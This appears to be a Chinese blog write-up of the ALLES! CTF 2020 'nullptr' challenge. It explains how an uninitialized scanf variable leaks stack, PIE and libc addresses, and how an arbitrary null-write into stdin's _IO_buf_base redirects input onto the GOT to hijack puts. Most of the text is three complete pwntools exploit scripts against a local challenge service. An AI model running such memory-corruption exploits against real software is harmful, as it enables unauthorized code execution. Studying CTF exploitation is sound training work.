alles ctf 2020 之 nullptr

题目附件:nullptr

漏洞分析

  • 64位x86-64可执行程序
  • 动态链接,未去符号表
  • Canary、栈不可执行均开启
  • PIE开启,地址随机化
  • Partial RELRO,got表可写

这个题给了源码,所以就直接分析源码吧。While循环中的主要处理逻辑是两个case:

​ 1、view address:用户输入一个地址,程序会将该地址及该内存地址上的值打印出来。

​ 2、nuke address:用户输入一个地址,程序会将该地址置为NULL,也就是说将该地址的八个字节全部变为0。

除此之外,这个题还给了一个现成的执行“/bin/sh”的函数,因此只要我们能控制eip到这个函数就能get shell了。

漏洞点:未初始化的局部变量addr,以及scanf(”%lu”, &addr)。当用户输入给scanf的值非数字时,内部转化会失败, 此时scanf函数中会free用到的指针,然后返回,返回的时候不会更改其他函数参数的值(此题为addr)。由于addr是栈上一个未初始化的值,因此18行打印的时候会泄露栈上的一个值。

利用过程

泄露栈地址与函数地址

view address给非数字时,就会打印栈上的信息。可以看到addr所处的栈位置正好存放的是另一个栈地址,且其值为1。在gdb中调试的时候这个栈地址的值是不会变的,也就是说这个地址一定跟main函数运行之前的函数相关。

一个程序加载运行的过程是这样的:

经过调试分析,通过view addr泄露出来的栈地址是比main函数栈更高的位置,也就是__libc_start_main或者_start的栈帧。因此,通过这个栈地址的偏移可以找到存放返回地址(_start)的栈。

本地调试可以计算出_start函数地址存放的位置距离第一次泄露的栈地址:

0x7fffffffdec0 - 0x7fffffffde98 = 0x28 (docker环境中还需要以8字节为单位调试获取实际值)

因此,再调用view addr一次,就可以泄露出_start函数地址,根据该地址与IDA静态分析的_start函数地址差值,就计算出了程序的加载基址,那么就绕过PIE了。

泄露libc

有了程序加载基址,通过got.plt条目,泄露puts函数的地址,进而获得libc加载基址。

到这一步的参考代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# pie_leak_libc.py
# coding-utf-8
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./nullptr")
mylibc = ELF("./libc-2.30.so")
myld = ELF("./ld-2.30.so")
myproc = remote("127.0.0.1",1024)
#myproc = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

def view(addr):
myproc.recvuntil("[1. view, 2. null, -1. exit]> ")
myproc.sendline('1')
myproc.recvuntil("view address> ")
myproc.sendline(addr)
myproc.recvline()
ret = myproc.recvline()
return ret

def setnull(addr):
myproc.recvuntil("[1. view, 2. null, -1. exit]> ")
myproc.sendline('2')
myproc.recvuntil("nuke address> ")
myproc.sendline(addr)

###泄露栈地址
#gdb.attach(myproc,'file ./nullptr \n b* main')
stack_addr = int(view('a').strip().split(":")[0],16)
#log.warn("stack_addr is: 0x%x" % stack_addr)

###泄露_start函数地址
offset1 = stack_addr - (0x28 + 8*1)
#offset1 = stack_addr - 0x28
start_addr = int(view(str(offset1)).strip().split(":")[1],16)
#log.warn("start_addr is: 0x%x" % start_addr)

###计算程序加载基址
elf_base = start_addr - myelf.symbols['_start']
shell_addr = elf_base + myelf.symbols['get_me_out_of_this_mess']
log.warn("elf_base is: 0x%x" % elf_base)
#log.warn("shell_addr is: 0x%x" % shell_addr)

###泄露libc加载基址
puts_got = elf_base + myelf.got["puts"]
got_base = puts_got - 0x18
puts_libc = int(view(str(puts_got)).strip().split(":")[1],16)
libc_base = puts_libc - mylibc.symbols["puts"]
#log.warn("puts_got is: 0x%x" % puts_got)
log.warn("puts_libc is: 0x%x" % puts_libc)
log.warn("libc_base is: 0x%x" % libc_base)
log.warn("got_base is: 0x%x" % got_base)

#gdb.attach(myproc)
myproc.interactive()

花式覆写got表

整理一下现在有的条件:

  • 程序和libc的加载基址
  • get shell函数的地址
  • while循环中的case2,任意地址写null

stdin涉及的_IO_FILE结构:

scanf函数将用户输入先存放在_IO_read_base指向的堆空间中,最后将输入更新到_IO_buf_base指向的堆空间。堆空间和elf加载空间(内含got表项)是相邻的,如下图,且存在两者地址只有后3个字节不同的情况。因为开了PIE,如果某次got.plt的起始地址后3个字节是全零,那么我们只需要把_IO_buf_base处存放的堆地址其后3个字节写成0,下一次调用scanf时输入就会被写到got表中,那么我们就可以任意改写got表项,劫持函数。

测试是否存在后3个字节全为0的got.elf项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# test_got_plt.py
# coding-utf-8
from pwn import *
# context(arch="amd64",os="linux",log_level="debug")

while True:
myelf = ELF("./nullptr")
mylibc = ELF("./libc-2.30.so")
myld = ELF("./ld-2.30.so")
myproc = remote("127.0.0.1",1024)

def view(addr):
myproc.recvuntil("[1. view, 2. null, -1. exit]> ")
myproc.sendline('1')
myproc.recvuntil("view address> ")
myproc.sendline(addr)
myproc.recvline()
ret = myproc.recvline()
return ret

def setnull(addr):
myproc.recvuntil("[1. view, 2. null, -1. exit]> ")
myproc.sendline('2')
myproc.recvuntil("nuke address> ")


stack_addr = int(view('a').strip().split(":")[0],16)
#log.warn("stack_addr is: 0x%x" % stack_addr)

offset1 = stack_addr - (0x28 + 8*1)
start_addr = int(view(str(offset1)).strip().split(":")[1],16)
log.warn("start_addr is: 0x%x" % start_addr)

elf_base = start_addr - myelf.symbols['_start']
shell_addr = elf_base + myelf.symbols['get_me_out_of_this_mess']
elf_got_base = elf_base + 0x4000
log.warn("elf_base is: 0x%x" % elf_base)
log.warn("elf_got_base: 0x%x" % elf_got_base)
log.warn("shell_addr is: 0x%x" % shell_addr)

puts_got = elf_base + myelf.got["puts"]
puts_libc = int(view(str(puts_got)).strip().split(":")[1],16)
libc_base = puts_libc - mylibc.symbols["puts"]
log.warn("puts_got is: 0x%x" % puts_got)
log.warn("puts_libc is: 0x%x" % puts_libc)
log.warn("libc_base is: 0x%x" % libc_base)

if elf_got_base &0xfff000 == 0:
log.warn("success!elf_got_base is: 0x%x" % elf_got_base)
#gdb.attach(myproc)
myproc.interactive()

上图可知,是存在got表项起始地址后三个字节为全0的情况是存在的。只不过有一定的概率。

接下来就是利用case2中的任意地址写0来写_IO_buf_base中存放的堆地址了。

_IO_buf_base_IO_2_1_stdin之间的偏移如上图,但是不能把整个地址写成0,所以实际写的时候得往前偏移5个字节。

另外,写got表的时候,我们的目标函数时puts,在第4项。由于是从头开始覆盖,所以要先泄露出前三项,然后构造好payload进行攻击。

exp

本地搭建的测试环境下获得flag如下图:

最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# nullptr_exp.py
# coding-utf-8
from pwn import *
# context(arch="amd64",os="linux",log_level="debug")

while True:
myelf = ELF("./nullptr")
mylibc = ELF("./libc-2.30.so")
myld = ELF("./ld-2.30.so")
myproc = remote("127.0.0.1",1024)

def view(addr):
myproc.recvuntil("[1. view, 2. null, -1. exit]> ")
myproc.sendline('1')
myproc.recvuntil("view address> ")
myproc.sendline(addr)
myproc.recvline()
ret = myproc.recvline()
return ret

def setnull(addr):
myproc.recvuntil("[1. view, 2. null, -1. exit]> ")
myproc.sendline('2')
myproc.recvuntil("nuke address> ")
myproc.sendline(addr)

###泄露栈地址
stack_addr = int(view('a').strip().split(":")[0],16)
#log.warn("stack_addr is: 0x%x" % stack_addr)

###泄露_start函数地址
offset1 = stack_addr - (0x28 + 8*1)
start_addr = int(view(str(offset1)).strip().split(":")[1],16)
#log.warn("start_addr is: 0x%x" % start_addr)

###计算程序加载基址
elf_base = start_addr - myelf.symbols['_start']
shell_addr = elf_base + myelf.symbols['get_me_out_of_this_mess']
elf_got_base = elf_base + 0x4000
#log.warn("elf_base is: 0x%x" % elf_base)
log.warn("elf_got_base: 0x%x" % elf_got_base)
#log.warn("shell_addr is: 0x%x" % shell_addr)

###寻找满足后三个字节为全0的got表地址
if elf_got_base &0xfff000 == 0:
###泄露libc加载基址
puts_got = elf_base + myelf.got["puts"]
puts_libc = int(view(str(puts_got)).strip().split(":")[1],16)
libc_base = puts_libc - mylibc.symbols["puts"]
#log.warn("puts_got is: 0x%x" % puts_got)
#log.warn("puts_libc is: 0x%x" % puts_libc)
log.warn("libc_base is: 0x%x" % libc_base)

###泄露got.plt的前3项
got_cont0 = int(view(str(elf_got_base)).strip().split(":")[1],16)
got_cont1 = int(view(str(elf_got_base+0x8)).strip().split(":")[1],16)
got_cont2 = int(view(str(elf_got_base+0x10)).strip().split(":")[1],16)

###构造payload
payload = ""
payload += p64(got_cont0)
payload += p64(got_cont1)
payload += p64(got_cont2)
payload += p64(shell_addr)

###计算_IO_buf_base地址,并将其存的堆地址后3个字节全写0
io_buf_addr = libc_base + 0x1ea980 + 0x38 - 0x5
setnull(str(io_buf_addr))

myproc.recvuntil("[1. view, 2. null, -1. exit]> ")
myproc.sendline(payload)

myproc.interactive()

参考write up

ALLES! CTF 2020 Nullptr